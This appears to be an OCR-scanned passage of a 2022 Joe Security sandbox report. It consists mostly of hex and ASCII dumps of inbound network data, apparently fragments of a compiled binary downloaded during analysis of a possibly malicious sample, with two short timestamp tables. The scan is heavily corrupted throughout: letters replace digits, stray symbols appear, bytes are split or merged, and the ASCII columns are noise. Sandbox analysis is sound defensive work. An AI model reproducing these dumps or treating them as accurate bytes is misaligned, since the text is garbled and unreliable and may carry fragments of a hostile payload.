f4 0c 16 1b 73 00 00 ae 04 01 c6 00 03 00 00 00 00 Oc 12 58 9 00 00 ad dd 01 c6 00 03 00 00 00 00 Oc 10 58 el 00 00 7
559 01 c6 00 03 00 00 00 00 Oc Oe Oe 4c 00 00 00 62 18 86 00 03 00 00 00 00 Oc Oe 58 db 00 01 33 7f 00 93 00 00 00 04
58 e4 Oc Oe 02 d8 00 01 33 6a 00 93 00 00 00 04 58 dO Oc Oe 02 d4 00 00 70 51 18 91 00 00 00 04 58 bc Oc 0d 36 a2 00
00 00 62 18 83 00 00 00 04 58 48 Oc Oc 00 e1 00 00 00 62 18 83 00 00

Data Ascii: "‘%YW4_Y.3ZhY3Y8Y3Y,Y3Y&YpQXsXXuYLbX3X3jXpQX6bXHb

Data Raw: 02 37 1c 07 ee 00 b3 00 00 00 62 18 83 00 00 00 02 36 f4 07 ee 02 d4 00 00 70 51 18 91 00 00 00 05 Ob b0 07
ed 3d ae 00 00 ae 04 01 c6 00 03 00 00 00 00 07 ea 16 90 00 00 ad dd 01 c6 00 03 00 00 00 00 07 €9 3d a7 00 00 75 59
01 c6 00 03 00 00 00 00 07 e7 Oe 4c 00 00 00 62 18 86 00 03 00 00 00 00 07 e7 3d 9d 00 00 f5 f0 00 93 00 00 00 05 Ob
a0 07 e7 02 d8 00 00 f5 db 00 93 00 00 00 05 Ob 8c 07 7 02 d4 00 00 70 51 18 91 00 00 00 05 Ob 78 07 e6 34 28 00 00
el e6 08 96 00 00 00 05 Ob 50 07 e6 02 d8 00 00 el d1 08 96 00 00 00 05 Ob 30 07 e6 3d 92 00 00 f5 b1 00 93 00 00 00
05 0b 20 07 e6 02 d8 00 00 f5 9c 00 93 00 00 00 05 Ob Oc 07 €6 02 d4 00 00 70 51 18 91 00 00 00 05 Oa f8 07 e5 3d 8b
00 00 f4 4d 00 96 00 00 00 05 Oa a4 07 e4 34 9c¢ 00 00 f5 8f 00 96 00 00

Data Ascii: 7b6pQ==uYLb=pQx4(P0= pQ=M4

Data Raw: 01 19 1c 02 76 22 39 00 00 c1 8b 00 93 00 00 00 01 19 Oc 02 76 02 d8 00 00 c1 76 00 93 00 00 00 01 18 f8 02
76 02 d4 00 00 70 51 18 91 00 00 00 01 18 e4 02 75 14 5d 00 00 c1 6b 00 91 00 00 00 01 18 c4 02 73 22 2c 00 00 c1 3b
00 9100 00 00 01 18 4c 02 73 02 d4 00 00 ¢1 30 00 91 00 00 00 01 17 1c 02 72 1e f2 00 00 02 d1 00 93 00 00 00 01 16
ac 0272 02 d4 00 00 70 51 18 91 00 00 00 01 16 98 02 72 Oe a0 00 00 c1 06 00 93 00 00 00 01 16 84 02 72 11 06 00 00
c0f1 .00 93 00 00 00 01 16 70 02 72 04 f3 00 00 cO dc 00 93 00 00 00 01 16 5¢ 02 72 Oe a0 00 00 cO c¢7 00 93 00 00 00
0116 48 02 72 12 7b 00 00 cO a9 00 93 00 00 00 01 16 30 02 72 22 08 00 00 cO 94 00 93 00 00 00 01 16 20 02 72 02 d8
00 00 cO 7f 00 93 00 00 00 01 16 Oc 02 72 02 d4 00 00 70 51 18 91 00 00

Data Ascii: v'9vvvpQu]ks",;LsOrrpQrrpr\rHr{Or" rrpQ

Data Raw: 38 00 13 99 ec 00 01 96 2d 00 13 99 dd 00 01 96 22 00 13 99 bf 00 01 96 17 00 13 99 b0 00 01 96 Oc 00 13 99
a300 01 96 01 00 13 99 85 00 01 95 f6 00 13 99 69 00 01 95 eb 00 13 99 45 00 01 95 0 00 13 99 27 00 01 95 d5 00 13
99 09 00 01 95 ca 00 13 98 €9 00 01 95 bf 00 13 98 da 00 01 95 b4 00 13 98 cb 00 01 95 a9 00 13 98 b1 00 01 95 e 00
1398 95 00 01 95 93 00 13 98 85 00 01 95 88 00 13 98 6b 00 01 95 7d 00 13 98 55 00 01 95 72 00 13 98 45 00 01 95 67
00 13 98 2d 00 01 95 5¢ 00 13 98 13 00 01 95 51 00 13 98 06 00 01 95 46 00 13 97 d6 00 01 95 3b 00 13 97 be 00 01 95
30 00 13 97 a8 00 01 95 25 00 13 97 8¢ 00 01 95 1a 00 13 97 7b 00 01 95 Of 00 13 97 6b 00 01 95 04 00 13 97 4d 00 01
949 00 13 97 33 00 01 94 ee 00 13 97 23 00 01 94 3 00 13 97 15 00 01

Data Ascii: 8-'{E'KJUrEQ-\QF;0%{kM3#

Data Raw: 7e 00 03 05 05 00 00 03 d4 00 03 05 05 00 00 03 72 00 03 05 05 00 00 06 11 00 03 05 05 00 00 05 fd 00 03
05 05 00 00 04 f9 00 03 05 05 00 00 05 cb 00 03 Oc 90 00 00 04 79 00 03 Oc 90 00 00 03 b9 00 03 05 05 00 00 03 64 00
03 05 05 00 00 06 Oc 00 03 05 05 00 00 05 f8 00 03 05 05 00 00 04 f4 00 03 Oc 90 00 00 05 c6 00 03 Oc 90 00 00 04 74 O
003 0c 90 00 00 03 b2 00 03 Oc 90 00 00 03 5f 00 03 Oc 90 00 00 06 07 00 03 Oc 90 00 00 03 cd 00 03 05 05 00 00 03 c3
00 03 05 05 00 00 03 ¢8 00 03 05 05 00 00 03 be 00 03 05 05 00 00 03 ad 00 03 05 05 00 00 02 de 00 03 05 05 00 00 03
d2 00 03 05 05 00 00 03 b7 00 03 05 05 00 00 03 6e 00 03 05 05 00 00 03 70 00 03 10 65 00 00 02 dc 00 03 10 65 00 00
02 da 00 03 Oc 90 00 00 02 d1 00 03 02 e1 00 00 03 70 00 03 02 el 00 00

Data Ascii: ~rydt_npeep

Data Raw: 00 00 00 3e 01 00 00 01 00 17 42 Oa 15 00 65 00 00 00 00 00 00 3d ed 00 00 01 00 17 3e Oa 14 00 65 00 00
00 00 00 00 3d d9 00 00 01 00 17 3a 0a 13 00 65 00 00 00 00 00 00 3d ¢5 00 00 01 00 17 36 Oa 12 00 65 00 00 00 00 00
00 3d b1 00 00 01 00 17 32 0a 11 00 65 00 00 00 00 00 00 3d 9d 00 00 01 00 17 2e Oa 10 00 65 00 00 00 00 00 00 3d 89
00 00 01 00 17 2a Oa 0Of 00 65 00 00 00 00 00 00 3d 75 00 00 01 00 17 26 Oa Oe 00 65 00 00 00 00 00 00 3d 61 00 00 01
00 17 22 0a 0d 00 65 00 00 00 00 00 00 3d 4d 00 00 01 00 17 1e Oa Oc 00 65 00 00 00 00 00 00 3d 39 00 00 01 00 17 1a
0a Ob 00 65 00 00 00 00 00 00 3d 25 00 00 01 00 17 16 Oa Oa 00 65 00 00 00 00 00 00 3d 11 00 00 01 00 17 12 Oa 09 00
65 00 00 00 00 00 00 3c fd 00 00 01 00 17 Oe Oa 08 00 65 00 00 00 00 00 00

Data Ascii: >Be=>e=:e=6e=2e=.e=*e=u&e=a"e=Me=9e=%e=e<e

Data Raw: 70 00 10 01 0d 00 36 01 ac 00 5d 00 00 00 00 00 00 03 6e 00 10 01 0d 00 36 01 71 00 61 00 00 00 00 00 00
02 dc 00 00 01 05 00 36 00 22 00 61 00 00 00 00 00 00 02 da 00 00 01 05 00 36 00 20 00 5d 00 00 00 00 00 00 02 d1 00
10 01 0d 00 35 00 20 00 59 00 00 00 00 00 00 03 64 00 10 01 80 00 2b 00 1f 00 59 00 00 00 00 00 00 03 5f 00 10 01 00 O
0 2b 00 1f 00 5d 00 00 00 00 00 00 03 4c 00 00 01 13 00 2b 00 1f 00 5d 00 00 00 00 00 00 03 39 00 00 01 13 00 2b 00 1f
00 5d 00 00 00 00 00 00 03 26 00 00 01 13 00 2b 00 1f 00 5d 00 00 00 00 00 00 03 13 00 00 01 13 00 2b 00 1f 00 5d 00
00 00 00 00 00 03 00 00 00 01 13 00 2b 00 1f 00 5d 00 00 00 00 00 00 02 e3 00 00 01 13 00 2a 00 19 00 59 00 00 00 00
00 00 02 de 00 00 01 00 00 1e 00 11 00 59 00 00 00 00 00 00 02 dc 00 10

Data Ascii: p6]n6ga6"a6 |5 Yd+Y_+]L+]9+]&+]+]+]*YY
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Timestamp transferred Direction
2022-05-02 11:03:03 UTC 1979 IN
2022-05-02 11:03:03 UTC 1995 IN
2022-05-02 11:03:03 UTC 2011 IN
2022-05-02 11:03:03 UTC 2027 IN
2022-05-02 11:03:03 UTC 2043 IN
2022-05-02 11:03:03 UTC 2059 IN
2022-05-02 11:03:03 UTC 2075 IN
2022-05-02 11:03:03 UTC 2091 IN
2022-05-02 11:03:03 UTC 2107 IN
2022-05-02 11:03:03 UTC 2123 IN

Copyright Joe Security LLC 2022

Data

Data Raw: b8 28 05 2b 4a 2a 06 00 1c 96 6f 01 Oe 00 Oe 02 Oe 33 40 97 cf 28 05 2b 4e 00 2a 06 00 Oc 29 28 02 00 04 f4
d0 41 32 b9 3e 28 05 2b 4a 2a 06 00 1c 92 6f 01 Oe 00 Oe 02 Oe 3b 34 34 30 28 05 2b 4e 00 2a 06 00 Oc 29 28 02 00 04
3 d0 44 7f 03 8b 28 05 2b 4a 2a 06 00 1c 8e 6f 01 Oe 00 Oe 02 Oe 3e 10 e8 72 28 05 2b 4e 00 2a 06 00 Oc 29 28 02 00
04 f2 dO 6b 06 91 30 28 05 2b 4a 00 00 2a 06 00 1c 8a 6f 00 Oe 01 Oe 3d 69 12 f5 28 05 2b 46 00 2a 06 00 Oc 29 28 02 0
004 f1 d0 6a 0d bb 96 28 05 2b 4a 00 00 2a 06 00 1c 86 6f 00 Oe 01 Oe 64 68 e2 48 28 05 2b 46 00 2a 06 00 Oc 29 28 02
00 04 f0 d0 2e 5d 96 b9 28 05 2b 4a 2a 06 00 1c 82 6f 01 Oe 00 Oe 02 Oe 3e 33 3d ec 28 05 2b 4e 00 2a 06 00 Oc 29 28
02 00 04 ef d0 67 61 f5 a0 28 05 2b 4a 00 00 2a 06 00 1c 7e 6f 00 Oe

Data Ascii: (+J*03@ (+N*)(A2>(+J*0;440(+N*)(D(+J*0>r(+N*)(kO(+J*0=i(+F*)(j(+J*odhH(+F*)(.](+J*0>3=(+N*)(ga(+J*~0

Data Raw: 4a 00 00 2a 06 00 16 6e 6f 00 Oe 01 Oe 6b 23 21 d7 28 05 2b 46 00 2a 06 00 Oc 29 28 02 00 03 6a dO 6d Of d3
0a 28 05 2b 4a 2a 06 00 16 6a 6f 01 0Oe 00 Oe 02 Oe 30 40 b6 5b 28 05 2b 4e 00 2a 06 00 Oc 29 28 02 00 03 69 d0 63 41
c9 6e 28 05 2b 4a 00 00 2a 06 00 16 66 6f 00 Oe 01 Oe 35 09 04 32 28 05 2b 46 00 2a 06 00 Oc 29 28 02 00 03 68 d0 50
61 aa a6 28 05 2b 4a 00 00 2a 06 00 16 62 6f 00 Oe 01 Oe 5b 6d b9 c8 28 05 2b 46 00 2a 06 00 Oc 29 28 02 00 03 67 dO 6
4 5a c5 70 28 05 2b 4a 00 00 2a 06 00 16 5e 6f 00 Oe 01 Oe 6d 2d 43 a0 28 05 2b 46 00 2a 06 00 Oc 29 28 02 00 03 66 dO
41 73 4f 9 28 05 2b 4a 00 00 2a 06 00 16 5a 6f 00 Oe 01 Oe 3e 7f 85 62 28 05 2b 46 00 2a 06 00 Oc 29 28 02 00 03 65 dO
64 2f 39 10 28 05 2b 4a 2a 06 00 16 56 6f 01 Oe 00 Oe 02 Oe 5f Oc

Data Ascii: J*nok#!(+F*)(jm(+J*jo0@[(+N*)(icAn(+J*fo52(+F*)(hPa(+J*bo[m(+F*)(gdZp(+J**om-C(+F*)(fASO(+J*Zo>b(+F*)
(ed/9(+J*Vo_

Data Raw: 02 00 01 d8 d0 37 4d 5d 71 28 05 2b 4a 2a 06 00 10 22 6f 00 Oe 46 05 2b 5d 28 05 2b 3e 00 2a 06 00 Oc 29
2802 00 01 d7 d0 57 7d 3a 7a 28 05 2b 4a 00 00 2a 06 00 10 1e 6f 00 Oe 01 Oe 4c 09 94 d6 28 05 2b 46 00 2a 06 00 Oc
29 28 02 00 01 d6 dO 64 20 65 2e 28 05 2b 4a 00 00 2a 06 00 10 1a 6f 00 Oe 01 Oe 5d Oe 08 43 28 05 2b 46 00 2a 06 00
0Oc 29 28 02 00 01 d5 dO 6a 13 f4 10 28 05 2b 4a 2a 06 00 10 16 6f 00 Oe 53 22 d8 c8 28 05 2b 3e 00 2a 06 00 Oc 29 28
02 00 01 d4 d0 3f 1c €8 d9 28 05 2b 4a 00 00 2a 06 00 10 12 6f 00 Oe 01 Oe 33 38 e0 6 28 05 2b 46 00 2a 06 00 Oc 29 28
02 00 01 d3 d0 56 55 af 53 28 05 2b 4a 00 00 2a 06 00 10 Oe 6f 00 Oe 01 Oe 33 1a e0 13 28 05 2b 46 00 2a 06 00 Oc 29
28 02 00 01 d2 d0 69 1f e2 e2 28 05 2b 4a 00 00 2a 06 00 10 Oa 6f 00 Oe

Data Ascii: 7M]q(+J*"oF+](+>*)(W}:z(+J*oL(+F*)(d e.(+J*0]C(+F*)(j(+J*0S" (+>*)(?(+J*038(+F*)(VUS(+J*03(+F*)(i(+J*0

Data Raw: 1f 00 00 08 00 00 00 00 1f 00 00 00 02 00 00 1c 41 00 00 00 ff ff f7 de 38 dc 00 00 00 00 38 Oa 00 00 77 28 00
11 00 00 00 00 38 00 00 00 11 39 01 11 ff ff 7 fc dd ff ff fc cO 38 a2 0a 00 02 46 6f 0Oa 00 02 6f 6f 9a Oc 11 06 11 Oc 11 07
11 ff ff fd 4d 38 04 13 0a 00 03 5 73 17 a2 0a 00 00 23 28 1b 00 00 51 d0 17 25 a2 Oa 00 00 23 28 06 00 Oc bf 28 01 00
00 16 20 16 25 01 00 00 2f 8d 18 Oa 00 00 23 28 06 00 Oc bf 28 01 00 00 16 20 0a 00 00 5b 7e ff ff fb ce 38 Oe 13 16 ff ff
fa ad 38 ff ff fa 6a 39 0a 00 01 dc 6f 10 11 ff ff fb 50 38 Oe 13 58 17 Oe 11 ff ff fe 08 38 06 00 21 37 28 04 00 Oc 92 7e Oe
11 05 11 ff ff f8 ad 38 00 00 00 09 20 Oa 00 00 19 6f 0a 00 03 3a 7e 05 11 ff ff fa aa 38 ff ff fe 15 38 ff ff fa 77 38 ff ff fe 30
3a 0a 00 02 67 6f 02 ff ff

Data Ascii: A88w(898F000M8s#(Q%#(( Y%/#(( [~88]90P8X8!7(~8 0:~88w80:go

Data Raw: 39 06 00 Of 77 28 04 00 07 54 7b 12 11 f ff f7 85 38 18 13 0a 00 02 46 6f 18 11 00 00 24 70 38 00 00 18 17 38
00 00 Oe 8a 38 Ob 13 06 00 Of 5¢ 28 0d 11 00 00 24 9f 38 Ob 13 06 00 Of 5¢ 28 06 00 20 c3 28 04 00 Oc 75 7e 04 00 07 91
7b 02 ff f dd e2 38 00 00 00 46 20 00 00 10 Of 38 00 00 14 6b 38 Ob 13 06 00 Of 5¢ 28 06 00 20 c3 28 04 00 Oc 75 7e 04
00 07 91 7b 02 2a 00 00 09 7d 38 07 13 17 00 00 09 16 38 00 00 Le 1c 3e 16 06 00 20 7 28 04 00 Oc 82 7e 04 00 07 91
7b 02 00 00 08 49 38 Of 13 0a 00 03 d1 73 ff ff €8 50 38 06 00 20 b7 28 04 00 Oc 72 7e 06 00 20 ef 28 04 00 Oc 80 7e Ob
1123 11 04 00 07 91 7b 02 ff ff de 60 38 00 00 00 1f 20 26 ff ff de 6b 39 06 00 Of 6a 28 00 00 00 17 20 0d 13 06 00 20 c3
28 04 00 Oc 75 7e 04 00 07 91 7b 02 7a 06 00 Oe bf 73

Data Ascii: 9w(T{8Fo$p888\($8\( (u~{8F 8k8\( (u~{*}88> (~{I8sP8 (1~ (~#{'8 &k9j( (u~{zs

Data Raw: 42 00 2a 06 00 Of d3 28 04 00 08 39 7e 4d 49 8f 6b 28 05 2b 4a 00 00 2a 06 00 20 9b 28 04 00 Oc 6b 7€ 06 00
20 0b 28 04 00 Oc 47 7e 02 5e 7f 53 ea 28 05 2b 76 00 00 ff ff ff df 38 f ff ff 6 3b 04 00 07 62 7b 02 04 00 07 62 7b 00 11
2a17 2a 17 2a 17 2a 16 2a 17 ff ff ff c4 38 00 00 00 Ob 39 06 00 20 07 28 04 00 Oc 46 7e 03 00 00 00 1d 38 00 00 00 24
3b 04 00 07 63 7b 02 04 00 07 63 7b 00 11 ff ff ff €3 38 00 00 00 35 39 02 00 01 a2 75 03 00 00 00 10 38 00 13 02 00 01
a2 74 03 00 00 00 34 38 68 Oc €0 26 28 05 2b 11 00 01 cd 00 00 00 76 00 03 30 13 00 00 00 2a 16 2a 16 2a 17 2a 16 ff f
f c0 38 ff ff ff 7 3b 04 00 07 63 7b 02 04 00 07 63 7b 00 11 ff ff ff ca 38 00 00 00 20 39 02 00 01 a2 75 03 00 00 00 27 38
00 00 00 2e 3b 04 00 07 62 7b 02 04 00 07 62

Data Ascii: B¥(9~MIK(+J* (k~ (G~"S(+V8;b{b{*****89 (F~8%;c{c{859uBt48&(+V0***8:c{c{8 9u'.;b{b

Data Raw: 2a 06 00 0d a0 73 6a d8 04 00 07 41 7b 04 00 07 42 7c 02 00 01 95 74 03 04 00 07 41 7b 04 00 07 42 7c 06
00 Oe 14 6f 02 2a 06 00 0d a0 73 d8 04 00 07 4c 7b 04 00 07 4d 7c 06 00 Oe 16 6f 02 00 01 95 74 03 04 00 07 4c 7b 04
00 07 4d 7c 06 00 Oe 16 6f 02 00 00 00 69 38 00 00 00 59 39 06 00 20 Of 28 04 00 Oc 48 7e 03 00 00 00 ed 38 00 00 00 0
539 06 00 20 07 28 04 00 Oc 46 7e 03 54 2d 6d 01 28 05 2b 00 00 00 00 00 00 01 35 00 03 30 13 ff ff ff 50 38 01 10 06 O
0 20 0b 28 04 00 Oc 47 7e 03 ff ff fe ee 38 ff ff ff 1f 40 1e 0a 00 00 1b 28 ff ff ff 87 38 ff ff ff b8 40 1e Oa 00 00 1b 28 00 00
00 10 38 ff ff ff 6¢ 39 06 00 20 13 28 04 00 Oc 49 7e 03 2a 06 00 0d a0 73 6a 5a 04 00 07 41 7h 04 00 07 42 7c 02 00 01
95 74 03 04 00 07 41 7b 04 00 07 42 7c 06 00 Oe 14 6f

Data Ascii: *SJA{B|tA{B|0*sL{M|otL{M|0i8Y9 (H~89 (F~T-m(+50P8 (G~8@(8@(8I9 (I~*siZA{B|tA{B|o

Data Raw: 93 00 04 30 13 00 ff ff ff a6 38 01 10 06 00 20 Ob 28 04 00 Oc 47 7e 03 ff ff ff 8b 38 ff ff ff a2 39 06 00 20 13 28
04 00 Oc 49 7e 03 2a 04 fe 04 00 07 41 7b 04 00 07 42 7¢ 02 00 01 95 74 03 04 00 07 41 7b 04 00 07 42 7c 02 00 00 00
00 38 00 00 00 23 39 06 00 20 Of 28 04 00 Oc 48 7e 03 00 00 00 48 38 00 00 00 05 39 06 00 20 07 28 04 00 Oc 46 7e 03
7a 06 00 Oe bf 73 2a 06 00 20 83 28 04 00 Oc 65 7e 02 02 00 01 98 74 03 00 00 00 18 38 58 5e f5 a2 28 05 2b 00 00 00
00 00 00 00 93 00 04 30 13 ff ff ff a3 38 ff ff ff 93 39 06 00 20 07 28 04 00 Oc 46 7e 03 ff ff ff 81 38 ff ff ff 90 3a 06 00 20 13
28 04 00 Oc 49 7e 03 2a 01 fe 16 03 fe 04 00 07 40 7b 04 00 07 42 7c 02 00 01 95 74 03 04 00 07 40 7b 04 00 07 42 7c
02 ff ff ff d9 38 01 10 06 00 20 Ob 28 04 00 Oc

Data Ascii: 08 (G~89 (I~*A{B|tA{B|8#9 (H~H89 (F~zs* (e~t8X(+089 (F~8: (I~*@{B|t@{B|8 (

Data Raw: 07 25 7e 04 00 07 25 80 02 00 01 8b 74 Oa 00 00 ac 28 0a 00 00 23 28 06 00 Oc bf 28 02 00 01 8b 20 06 00 Oc
3428 0a 00 00 c6 28 70 00 07 05 72 0a 00 00 bb 28 70 00 06 f3 72 06 00 Oc 3b 28 00 00 00 3c 3a 04 00 07 25 7e 00 00
00 00 00 00 00 55 00 06 30 13 2a 06 00 Oc a6 6f 04 03 02 04 00 07 16 7e 04 00 07 16 80 02 00 01 8a 74 Oa 00 00 ac 28
0a 00 00 23 28 06 00 Oc bf 28 02 00 01 8a 20 06 00 Oc 34 28 0a 00 00 c6 28 70 00 06 df 72 0a 00 00 bb 28 70 00 06 d3 7
206 00 Oc 3b 28 00 00 00 3c 3a 04 00 07 16 7e 00 00 00 00 00 00 00 54 00 05 30 13 01 00 00 16 06 00 ed 57 00 96 00
00 01 00 00 16 06 00 8f 5d 00 32 00 00 01 00 00 16 06 00 2b 2b 00 00 00 00 00 00 28 01 00 2a 06 2a 70 00 00 01 72 00
00 00 00 dd 26 00 00 00 06 dd 00 00 00 11 dd Oa Oa 00 00 cO 6f 0a 00 02

Data Ascii: %~%t(#(( 4((pr(pr;(<:%~U0*o~t(#(( 4((pr(pr;(<:~TOW]2++(**pr&o

Data Raw: 45 00 05 Oc fe 00 00 03 5d 38 6d 3a 2e c6 28 05 2b 11 00 01 b1 00 00 03 bc 00 06 30 1b 00 ff ff ff 76 38 ff ff ff
7c 3a0a 00 01 f0 6f 00 11 06 00 16 77 28 04 00 09 e2 7e Oa 00 00 23 28 06 00 Oc bf 28 01 00 00 46 20 03 ff ff ff de 38 04
00 06 f7 7d 03 02 ff ff ff 1c 38 04 00 06 f8 7d 06 00 1f c3 28 04 00 Oc 35 7e 03 02 ff ff ff 6a 38 00 00 00 27 3a 06 00 16 6f
28 04 00 09 e0 7e 00 11 ff ff ff 3a 38 00 00 00 00 20 26 ff ff ff 45 39 04 00 08 24 7b 04 00 08 2c 7e 00 00 00 00 20 04 00
06 f6 7d 04 02 2a ff ff ff 70 38 ff ff ff a1l 3a 03 00 00 00 32 38 00 13 06 00 18 4b 28 04 00 0a 57 7e 04 7a 0a 00 01 8¢ 73 0
600 13 87 28 04 00 09 26 7e 61 04 00 07 €8 7b 04 00 08 2c 7e 61 44 c4 1a ed 20 65 4b 6e c1 20 00 00 00 a2 38 00 00
00 49 39 06 00 1f bf 28 04 00 Oc 34 7e

Data Ascii: E]8m:.(+0v8|:ow(~#((F 8}8}(5~j8"0(~:8 &E9%{,~ }*p8:28K(W~zs(&~af{,~aD eKn 819(4~
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Timestamp transferred Direction
2022-05-02 11:03:03 UTC 2139 IN
2022-05-02 11:03:03 UTC 2155 IN
2022-05-02 11:03:03 UTC 2171 IN
2022-05-02 11:03:03 UTC 2187 IN
2022-05-02 11:03:03 UTC 2203 IN
2022-05-02 11:03:03 UTC 2219 IN
2022-05-02 11:03:03 UTC 2235 IN
2022-05-02 11:03:03 UTC 2251 IN
2022-05-02 11:03:03 UTC 2267 IN
2022-05-02 11:03:03 UTC 2283 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 00 00 2e 38 0a 00 03 50 7e 00 00 00 28 38 51 0a 0d 64 28 05 2b 11 00 01 ab 00 00 00 4b 00 04 30 13 00 ff ff
ff c1 38 00 13 Oa 00 03 4f 7e 2a ff ff ff e6 38 00 00 00 06 3a 04 00 00 00 Oc 38 00 00 00 16 38 0a 00 03 4e 7e 00 00 00 1a
38 0a 00 02 e2 6f 04 00 06 €3 7b 03 00 11 04 00 06 ee 7b 02 00 00 00 27 38 4f 13 06 19 28 05 2b 11 00 01 ab 00 00 00
4b 00 04 30 13 00 00 2a 00 00 00 00 38 06 00 1e €3 28 04 00 0Ob fd 7e 0a 00 02 db 7e 02 56 59 92 €6 28 05 2b 76 00 00
ff ff ff cc 38 00 13 0a 00 03 4d 7e 00 00 00 00 38 00 00 00 Oa 38 0a 00 03 4c 7e 2a 00 00 00 00 38 Oa 00 02 e2 6f 04 00
06 3 7b 03 00 11 04 00 06 ee 7b 02 00 00 00 19 38 00 00 00 2d 3a 04 65 7a d5 16 28 05 2b 11 00 01 ab 00 00 00 46 00
04 30 13 00 ff ff ff c1 38 00 13 0a 00 03 4b 7e 2a 00 00 00 01

Data Ascii: .8P~(8Qd(+K080~*8:88N~80{{'80(+K0*8(~~V/Y (+v8M~88L~*80{{8-:ez(+FO8K~*

Data Raw: c2 7e 04 00 06 d5 7b 02 00 00 01 e2 38 00 00 05 4c 39 0a 00 02 Oc 28 14 04 00 06 d3 7b 02 00 00 05 5d 38
00 00 05 2e 38 00 00 01 32 38 02 13 06 00 08 d3 73 02 11 06 00 1e af 28 04 00 Ob fO 7e 02 0d 11 17 7a Oa 00 02 51 73
06 00 13 87 28 04 00 09 26 7e 61 04 00 08 04 7b 04 00 08 2c 7e 61 66 b0 f3 2a 20 2c ad 50 5f 20 00 00 04 7b 38 00 00 O
2 b6 38000001 c53802 1306 00 09 417302 11 04 00 06 d7 7b 02 00 00 04 4b 38 00 00 03 71 00 00 00 e6 00 00 03
d7 00 00 00 19 00 00 00 85 00 00 04 50 00 00 00 06 45 00 06 Oc fe 00 00 03 d7 38 06 00 1a a3 28 04 00 Oa ed 7e 00 12
04 00 06 d7 7b 02 00 2a 11 11 00 00 07 9f 38 5e 27 d2 al 28 05 2b 11 00 01 97 00 00 07 b3 00 Oc 30 1b ff ff ff da 38 ff ff
ff a9 3a 0a 00 01 a0 28 14 02 ff ff ff b5 38 ff ff ff bc 39 06 00 16

Data Ascii: ~{8L9({]8.828s(~zQs(&~a{,~af* ,P_ {888As{K8gPE8(~{*8"'(+08:(89

Data Raw: 28 04 00 09 a9 7e 6a 15 04 Oe 02 03 00 00 00 00 8e 38 48 25 69 8d 28 05 2b 11 00 01 80 00 00 00 af 00 07
30 1b 2a 06 00 1e Of 28 04 00 Ob c8 7e 14 05 04 03 02 2e 57 6b 47 28 05 2b 5e 00 00 00 00 19 00 cO a8 00 18 00 02 00
00 10 01 00 2a ff ff ff 9d 38 03 10 06 00 1d 27 28 04 00 Ob 8e 7e 0a 00 00 25 6f 04 02 7a 0a 00 01 8c 73 06 00 13 87 28
04 00 09 26 7e 61 04 00 08 02 7b 04 00 08 2c 7e 61 ad 10 b6 af 20 c5 e0 e0 c0 20 ff ff fe f4 38 ff ff ff e0 39 0a 00 01 a0 28
14 05 ff ff ff d7 38 00 13 06 00 1d d7 28 04 00 Ob ba 7e 03 Of 02 ff ff ff 24 38 01 13 06 00 14 7b 28 04 00 09 63 7e 06 Oe
02 03 00 00 00 78 38 dc 00 00 00 00 38 0a 00 00 4c 6f 01 11 00 00 00 00 38 00 00 00 11 39 01 11 00 00 00 96 dd ff ff ff
de 38 ff ff ff af 38 ff ff ff d4 38 06 00 1e Ob 28 04

Data Ascii: (~j8H%i(+0*(~.WKG(+"*8'(~%0zs(&~a{,~a 89(8(~$8{(c~x88L089888(

Data Raw: 04 11 0a 00 02 da 7e 50 05 Oe ff f fd 10 38 06 00 18 07 28 04 00 Oa 46 7e 01 11 00 11 ff ff fc 58 38 ff ff fe 2a
38 00 00 00 a7 38 03 13 16 ff ff ff dc 38 06 00 18 07 28 04 00 Oa 46 7e 01 11 00 11 00 00 00 13 38 06 00 1d 77 28 04 00
0b a2 7e 00 11 f ff ff 88 38 02 13 16 ff ff fe 5b 38 06 00 1d 77 28 04 00 Ob a2 7e 00 11 00 00 00 7c 38 Oa 00 02 d8 6f 14
04 00 06 93 7b 07 11 0a 00 02 da 7e 50 05 Oe 00 00 01 34 38 05 13 16 ff ff fe 23 38 51 06 00 1d 63 28 04 00 Ob 9d 7e 06
00 13 87 28 04 00 09 26 7e 61 04 00 08 24 7b 04 00 08 2¢ 7e 61 8d ac cf 74 20 88 d8 96 e1 20 04 05 Oe ff ff fd 5f 38 ff ff
fc cf 38 ff ff fe ee 38 04 13 9a 03 11 05 ff ff ff b1 38 05 13 58 17 05 11 ff ff ff cc 38 0a 00 00 19 6f 0a 00 00 31 7e 50 05 Oe
ff ff fd ab 38 00 00 00 22 3f 69 8e

Data Ascii: ~P8(F~X8*888(F~8w(~8[8w(~|80{~P48#8Qc(~(&~a${,~at _8888X801~P8"?i

Data Raw: fd 7e 10 11 Ob 11 ff ff fc 70 38 08 13 58 17 08 11 ff ff f5 a5 38 ff ff fd 05 3a 04 Oe ff ff f4 ac 38 1e 13 06 00 1c 47
2804 00 0b 56 7e 05 16 16 06 00 1c 57 28 04 00 Ob 5a 7e 19 11 1c 11 04 00 06 5b 7b 02 00 00 00 28 38 ff ff {7 06 39 06
00 1c 7b 28 04 00 Ob 63 7e 06 00 1c 63 28 04 00 Ob 5d 7e 19 11 ff ff f3 fb 38 ff ff f7 be 3c 16 2b 00 00 32 28 23 11 22 11 ff
ff f8 €5 38 15 13 58 17 15 11 ff ff f9 bb 38 17 13 00 11 ff ff f5 14 38 Oe 13 00 11 ff ff fa 1b 38 ff ff f7 02 39 0a 00 00 9b 28
06 00 13 87 28 04 00 09 26 7e 61 04 00 08 2f 7b 04 00 08 2c 7e 61 11 b6 97 80 20 66 ee e7 d7 df 20 1a 11 ff ff fa 63 38 ff
ff f7 34 3a 06 00 1c 5f 28 04 00 Ob 5¢ 7e 19 11 ff ff ec eb 38 ff ff fd 5d 3a 0d 11 ff ff ee 14 38 06 00 16 df 28 04 00 09 fc 7e
16 00 11 04 00 06

Data Ascii: ~p8X8:8G(V~W/(Z~[{(89{(c~c(]~8<+2(#"8X8889((&~a/{,~a f c84:_(\~8]:8(~

Data Raw: 00 00 Oa 5a 00 00 05 f4 00 00 02 26 00 00 06 9b 00 00 05 b3 00 00 00 05 00 00 06 30 00 00 03 26 00 00 05 fc
00 00 01 49 00 00 00 Ob 45 00 12 Oc fe 00 00 07 e7 38 5b 4e 99 3d 28 05 2b 11 00 01 4a 00 00 Oc 5d 00 06 30 13 00 2a
01 fe 03 5f 03 02 68 77 67 91 28 05 2b 3a 00 00 00 ff ff ff 2a 38 01 13 Oa 00 02 87 6f 02 ff ff ff el 38 ff ff ff 95 38 00 00 00
